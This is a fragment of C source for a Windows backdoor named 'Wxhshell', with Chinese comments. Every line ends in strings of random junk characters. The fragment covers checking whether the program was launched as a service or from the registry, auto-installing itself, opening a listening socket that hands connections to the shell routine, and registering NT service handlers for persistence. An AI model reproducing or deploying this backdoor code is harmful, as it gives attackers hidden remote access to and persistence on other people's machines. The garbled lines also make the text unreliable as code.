DWORD BasePriority; JNI&]3[C>?
ULONG UniqueProcessId; xfqU
atC
ULONG InheritedFromUniqueProcessId; zB6&),[,v
} PROCESS_BASIC_INFORMATION; NH,4>mV$!
%D ,(S-Uj
PROCNTQSIP NtQueryInformationProcess; 1Nz#,IdQ
$
\ I|6[P
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fh&Q(:ZU
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !6J+#
Enhrkk
HANDLE hProcess; zbDK$g6
PROCESS_BASIC_INFORMATION pbi; p0pA|
:eSwXDy&
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KPa@~rU
if(NULL == hInst ) return 0; - ysd`&
raZ0B,;eFu
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); De49!{\a
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9n3. Ar
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); djDE0-QxcR
g7K<"Z {M
if (!NtQueryInformationProcess) return 0; Jx8DVjy
*#B"%;Ln
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V|;os
if(!hProcess) return 0; s~I#K[[5
VS+5{w:t
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p8z"Jn2P
buxyZV@1
CloseHandle(hProcess); l
i2/"~l
"IoY$!Hk
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p5bM/{DP;K
if(hProcess==NULL) return 0; :LD+B1$y
qjIcRue'"
HMODULE hMod; TA+/35^?
char procName[255]; <}AmzeHr+
unsigned long cbNeeded; OJ}aN>k
mtNB09E(
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 62>/0_m5
w6'8L s
CloseHandle(hProcess); o6S`7uwJ*/
kk/vgte-)e
if(strstr(procName,"services")) return 1; // 以服务启动 cqb]LC
BWsD~Ft
return 0; // 注册表启动 bpfSe
} @C5%`{\
4,ewp coC%
// 主模块 s;:quM
int StartWxhshell(LPSTR lpCmdLine) zfUkHL6
{ xf8.PqVNo
SOCKET wsl; rB3b
BOOL val=TRUE; Bzr}+J
int port=0;
58/\
struct sockaddr_in door; Y\{lQMCy
76S>xnN
if(wscfg.ws_autoins) Install(); Jry643K>:;
H=5#cPI#(^
port=atoi(lpCmdLine); v0|"[qGb
"z|%V/2b3
if(port<=0) port=wscfg.ws_port; )auuk<
f8L3+u
WSADATA data; zuBfkW95+
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q37zBC0
uszMzO~
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,9/s`o
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +F6R@@rWr
door.sin_family = AF_INET; A*3R@G*h
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8hvh
xp
door.sin_port = htons(port); L&~>(/*7U
l, 1.6
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iTeFy-Ct
closesocket(wsl); DT#Z6A
return 1; Mer\W6e"e
} pPZ^T5-ks
0 mR
if(listen(wsl,2) == INVALID_SOCKET) { 2)>Ty4*
closesocket(wsl); w7h=vy n?
return 1; AmT*{Fz8
} 2&U<Wiu\}
Wxhshell(wsl); }ilX
2s?>
WSACleanup(); :a9$f8*b
" qrL:,
return 0; %b`B.A
0qD.OF)8
} aV?r %'~Z
zGE{Z A
// 以NT服务方式启动 ?C9>bKo*2H
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dLTA21b#
{ \)9R1zp/x
DWORD status = 0; E{6X-C[)v
DWORD specificError = 0xfffffff; =u]FKY
eFCXjM
serviceStatus.dwServiceType = SERVICE_WIN32; -q/FxESp
serviceStatus.dwCurrentState = SERVICE_START_PENDING; _yVF+\kQ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +l_$}UN
serviceStatus.dwWin32ExitCode = 0; ,=p.Cx'PR
serviceStatus.dwServiceSpecificExitCode = 0; vW4N[ .+
serviceStatus.dwCheckPoint = 0; Bn{0-5nj
serviceStatus.dwWaitHint = 0; 64qQ:D7C
Yg14aKZl
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MEn#MT/Cz
if (hServiceStatusHandle==0) return; 5Ai$1'*p
J'y*>dW
status = GetLastError(); @;@Wt`(2a
if (status!=NO_ERROR) N\dr_
{ SvGs?nUU
serviceStatus.dwCurrentState = SERVICE_STOPPED; s
*1%I$=@
serviceStatus.dwCheckPoint = 0; B 9AE*
serviceStatus.dwWaitHint = 0; Sf0[^"7
serviceStatus.dwWin32ExitCode = status; :7Q,
`W9
serviceStatus.dwServiceSpecificExitCode = specificError; |qsY0zx
SetServiceStatus(hServiceStatusHandle, &serviceStatus); o] 7U;W
return; R!LKGiN
} *npe]cC
A?829<
serviceStatus.dwCurrentState = SERVICE_RUNNING; -d6*M*{|
serviceStatus.dwCheckPoint = 0; L #l|}u
serviceStatus.dwWaitHint = 0;
? /Z
hu
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4\yKd8I
} wY j~ (P"
7oI^sh k
// 处理NT服务事件,比如:启动、停止 OT5'c l
VOID WINAPI NTServiceHandler(DWORD fdwControl) BV
HO_
{ 2nPU $\du
switch(fdwControl) h/%Hk;|9
{ \4`2k
case SERVICE_CONTROL_STOP: $R<eXDW6:
serviceStatus.dwWin32ExitCode = 0; DweWFipyPi
serviceStatus.dwCurrentState = SERVICE_STOPPED; \i#0:3s.
serviceStatus.dwCheckPoint = 0; 4';tMiz
serviceStatus.dwWaitHint = 0; >, }m=X8
{ K06/ D!RD4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); yw;!KUKb|
} ".SQ*'Oc
return; 6Pa
jBEF
case SERVICE_CONTROL_PAUSE: QP e}rQnm
serviceStatus.dwCurrentState = SERVICE_PAUSED; oos35xV.
break; 5&r2